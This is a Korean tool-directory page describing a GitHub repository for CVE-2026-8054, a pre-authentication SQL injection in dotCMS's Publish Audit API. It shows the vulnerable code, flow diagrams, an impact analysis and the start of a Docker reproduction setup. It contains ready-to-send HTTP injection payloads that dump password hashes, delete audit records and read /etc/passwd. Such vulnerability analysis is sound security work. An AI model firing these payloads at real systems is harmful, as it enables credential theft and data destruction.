Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8054 — dotCMS 인증 전 SQL 인젝션 | Kitploit
도구/GitHubGitHub/mr-xn/cve-2026-8054
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubmr-xn/cve-2026-8054

CVE-2026-8054

dotCMS 인증 전 SQL 인젝션

저장소 보기
83개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
웹사이트
공유

1. 취약점 개요

CVE-2026-8054는 dotCMS Core의 퍼블리시 감사 API(Publish Audit API)에 존재하는 고위험 인증 불필요 SQL 인젝션 취약점(Pre-auth SQL Injection)입니다. 이 취약점은 공식적으로 보안 이벤트 SI-75로 추적되었으며, 2026년 5월 말에 공식적으로 등록 및 공개되었습니다. 공격자가 별도의 계정 권한 없이 원격으로 트리거할 수 있기 때문에 잠재적 피해가 매우 심각합니다.

속성값
CVE 번호CVE-2026-8054
공식 추적SI-75
취약점 유형SQL 인젝션 (CWE-89)
영향 컴포넌트dotCMS Core - Publish Audit API
CVSS 점수10.0 (Critical)
영향 받는 버전25.11.04-1 ~ 26.04.28-02
수정 버전26.04.28-03
공격 방식원격 비인증 SQL 인젝션 (Pre-auth)
필요 권한인증 불필요
사용자 상호작용없음
LTS 버전 영향영향 없음 (감사 코드 브랜치가 LTS 트리에 백포트되지 않음)

2. 취약점 원리 상세

2.1 취약점 본질

취약점은 /api/auditPublishing/get 및 /api/auditPublishing/getAll 두 REST 엔드포인트에 존재합니다. 이 엔드포인트들은 클라이언트가 입력한 요청 파라미터를 받을 때 필터링이나 파라미터 바인딩 없이, 문자열 연결을 통해 동적으로 SQL 쿼리문을 구성합니다.

더 치명적인 점은 dotCMS가 감사와 관련된 이러한 민감한 백엔드 엔드포인트에 인증 및 권한 상승 검사를 완전히 누락했다는 것입니다. 이는 외부 네트워크의 자격 증명이 없는 원격 공격자가 시스템에 접근하기만 하면 해당 엔드포인트에 악성 Payload가 포함된 HTTP 요청을 직접 보낼 수 있음을 의미합니다.

2.2 취약점 진입점

파일 경로: dotCMS/src/main/java/com/dotcms/rest/AuditPublishingResource.java

취약점은 두 개의 REST API 엔드포인트에 존재합니다:

  • GET /api/auditPublishing/get/{bundleId} - 단일 퍼블리시 감사 상태 조회
  • POST /api/auditPublishing/getAll - 복수 퍼블리시 감사 상태 조회

핵심 문제: 수정 전 이 두 엔드포인트는 어떤 인증도 필요하지 않으며, 모든 익명 사용자가 직접 접근할 수 있습니다.

@Path("/auditPublishing")
@Tag(name = "Publishing")
public class AuditPublishingResource {

    @POST
    @Path("/getAll")
    @Produces(MediaType.APPLICATION_JSON)
    public Response getAll(List<String> bundleIds) {
        // 【취약점】인증 검사 없음! 바로 백엔드 API 호출
        try {
            final List<PublishAuditStatus> statuses = auditAPI.getPublishAuditStatuses(bundleIds);
            // ...
        }
    }
}

2.3 취약점 핵심 코드

파일 경로: dotCMS/src/main/java/com/dotcms/publisher/business/PublishAuditAPIImpl.java

메서드: getPublishAuditStatuses(List<String> bundleIds) (224~245행)

@CloseDBIfOpened
public List<PublishAuditStatus> getPublishAuditStatuses(List<String> bundleIds)
        throws DotPublisherException {
    try {
        final List<PublishAuditStatus> result = new ArrayList<>();

        DotConnect dc = new DotConnect();

        // 【취약점 1】사용자 입력을 SQL 문에 직접 연결
        // 단일 따옴표로 감싸기만 하고, 파라미터화나 이스케이프 처리 없음
        final List<String> parameter = bundleIds.stream()
            .map(id -> "'" + id + "'")  // 위험: 문자열 연결
            .collect(Collectors.toList());

        // 【취약점 2】String.format을 사용하여 SQL 구성, 사용자 입력이 직접 삽입됨
        dc.setSQL(String.format(SELECT_ALL_BY_BUNDLES_IDS,
            String.join(",", parameter)));

        List<Map<String, Object>> items = dc.loadObjectResults();

        for(Map<String, Object> item: items) {
            result.add(turnIntoPublishAuditStatus(NO_LIMIT_ASSETS, item));
        }

        return result;
    } catch(Exception e) {
        Logger.debug(PublisherUtil.class, e.getMessage(), e);
        throw new DotPublisherException("Unable to get list of elements with error:" + e.getMessage(), e);
    }
}

SQL 상수 (SELECT_ALL_BY_BUNDLES_IDS):

SELECT * FROM publishing_queue_audit WHERE bundle_id IN (%s)

2.4 오염 전파 경로

graph LR
    subgraph 外部攻击者
        A[远程攻击者] -->|发送恶意payload| B[HTTP REST API]
    end

    subgraph Application Layer
        B -->|POST /api/auditPublishing/getAll| C[AuditPublishingResource<br/>GET/POST]
        C -->|调用| D[PublishAuditAPI]
        D -->|调用| E[PublishAuditAPIImpl]
        E -->|传递bundleIds| F[污点处理<br/>bundleIds.stream<br/>.map id -> id]
        F -->|拼接参数| G[SQL构造<br/>String.format]
    end

    subgraph Technology Layer
        G -->|构造SQL| H[动态SQL查询<br/>SELECT * FROM publishing_queue_audit<br/>WHERE bundle_id IN %s]
        H -->|执行| I[SQL执行]
        I -->|执行注入SQL| J[PostgreSQL/MySQL]
    end

    subgraph 漏洞点
        K[漏洞点1<br/>无认证检查] -.->|跳过认证| C
        L[漏洞点2<br/>无参数化绑定] -.->|仅添加引号| F
    end

    style A fill:#ff6b6b,stroke:#333,color:#fff
    style K fill:#ff6b6b,stroke:#333,color:#fff
    style L fill:#ff6b6b,stroke:#333,color:#fff
    style J fill:#ffa94d,stroke:#333

오염 전파: 사용자 입력 → REST API → 백엔드 처리 → SQL 구성 → 데이터베이스 실행 핵심 결함: 인증 없음 + 파라미터화 없음 = 완전히 제어 가능한 SQL 인젝션

2.5 SQL 인젝션 원리 분석

사용자 입력이 bundleIds = ["x' OR '1'='1"] 라고 가정합니다.

정상 SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('normal-id')

인젝션 후 SQL:

SELECT * FROM publishing_queue_audit WHERE bundle_id IN ('x' OR '1'='1')

'1'='1'은 항상 참이므로 이 쿼리는 테이블의 모든 레코드를 반환합니다.

graph TD
    subgraph 输入对比
        A[正常输入<br/>bundle-123] -->|构造| B[正常SQL<br/>WHERE bundle_id IN<br/>'bundle-123']
        C[恶意输入<br/>x OR 1=1] -->|注入| D[注入SQL<br/>WHERE bundle_id IN<br/>x OR 1=1]
    end

    subgraph 数据库执行
        B -->|执行| E[数据库]
        D -->|执行| E
    end

    subgraph 结果对比
        E -->|返回| F[正常结果<br/>1条记录]
        E -->|返回 数据泄露| G[泄露结果<br/>所有记录]
    end

    style C fill:#ff6b6b,stroke:#333,color:#fff
    style G fill:#ff6b6b,stroke:#333,color:#fff
    style D fill:#ff6b6b,stroke:#333,color:#fff

    note1[注入点: 单引号闭合原有字符串<br/>OR 1=1 使条件永远为真<br/>结果: 返回所有记录]

3. 영향 및 피해 분석

이 취약점을 성공적으로 악용한 공격자는 데이터베이스 시스템 사용자의 컨텍스트에서 임의의 SQL 명령을 실행할 수 있어 다음과 같은 심각한 결과를 초래합니다:

graph TD
    subgraph 攻击影响分析
        subgraph 数据机密性
            A[管理员密码哈希]
            B[用户凭证]
            C[重置Token]
            D[系统配置]
        end

        subgraph 数据完整性
            E[网站内容]
            F[用户角色权限]
            G[审计日志]
        end

        subgraph 系统可用性
            H[DROP TABLE]
            I[DELETE数据]
            J[UPDATE数据]
        end

        subgraph 权限提升
            K[管理员接管]
            L[文件系统读写]
            M[远程代码执行]
        end
    end

    N[SQL注入漏洞] -->|泄露| A
    N -->|泄露| B
    N -->|泄露| C
    N -->|篡改| E
    N -->|篡改| F
    N -->|执行| H
    N -->|实现| K
    N -->|实现| L

    O[CVSS 10.0 Critical] -.->|评估| N

    style N fill:#ff6b6b,stroke:#333,color:#fff
    style O fill:#ff6b6b,stroke:#333,color:#fff

3.1 민감 데이터 유출

공격자는 SQL 인젝션을 통해 핵심 데이터베이스 테이블을 추출하여 다음 정보를 획득할 수 있습니다:

  • 관리자 비밀번호 해시
  • 사용자 자격 증명 정보
  • 재설정 토큰
  • 시스템 구성 정보
  • 웹 사이트 콘텐츠 데이터

공격 Payload 예시 – 관리자 비밀번호 획득:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT user_id,password_hash,email,null,null FROM dotcms_user--"]

3.2 데이터 변조 및 파괴

공격자는 데이터베이스 내에서 다음 항목을 임의로 수정, 삽입 또는 삭제할 수 있습니다:

  • 웹 사이트 콘텐츠
  • 사용자 역할 권한
  • 시스템 구성
  • 감사 로그

공격 Payload 예시 – 감사 레코드 삭제:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x'; DELETE FROM publishing_queue_audit; --"]

3.3 권한 상승 및 원격 코드 실행

백엔드가 연결된 데이터베이스 유형(PostgreSQL, MySQL 등) 및 구성 권한에 따라 공격자는 인젝션 포인트를 통해 다음 단계로 나아갈 수 있습니다:

  • 백엔드 관리자 계정 탈취
  • 파일 시스템 읽기/쓰기 (데이터베이스 함수를 통해)
  • 원격 코드 실행 (RCE)

공격 Payload 예시 – PostgreSQL 파일 읽기:

POST /api/auditPublishing/getAll HTTP/1.1
Host: target:8080
Content-Type: application/json

["x' UNION SELECT null,pg_read_file('/etc/passwd'),null,null,null--"]

3.4 공격 표면 분석

차원평가
공격 벡터네트워크 원격 (Network)
공격 복잡도낮음 (Low)
사전 조건없음 (None)
사용자 상호작용없음 (None)
영향 범위변경됨 (Changed)
기밀성 영향높음 (High)
무결성 영향높음 (High)
가용성 영향높음 (High)

4. 취약점 재현 단계

4.1 환경 구성

graph TB
    subgraph Docker环境架构
        subgraph docker-compose
            A[dotcms-vuln<br/>dotcms:25.11.04-1]
            B[dotcms-db<br/>postgres:15]
            C[dotcms-es<br/>elasticsearch:7.17]
        end

        D[dotcms-net<br/>bridge网络]

        E[HTTP :8080]
        F[HTTPS :8443]
        G[PostgreSQL :5432]
        H[Elasticsearch :9200]
    end

    A -->|暴露| E
    A -->|暴露| F
    B -->|暴露| G
    C -->|暴露| H

    A -->|连接数据库| B
    A -->|连接搜索引擎| C

    D --- A
    D --- B
    D --- C

    style A fill:#51cf66,stroke:#333
    style B fill:#51cf66,stroke:#333
    style C fill:#51cf66,stroke:#333
도구 다운로드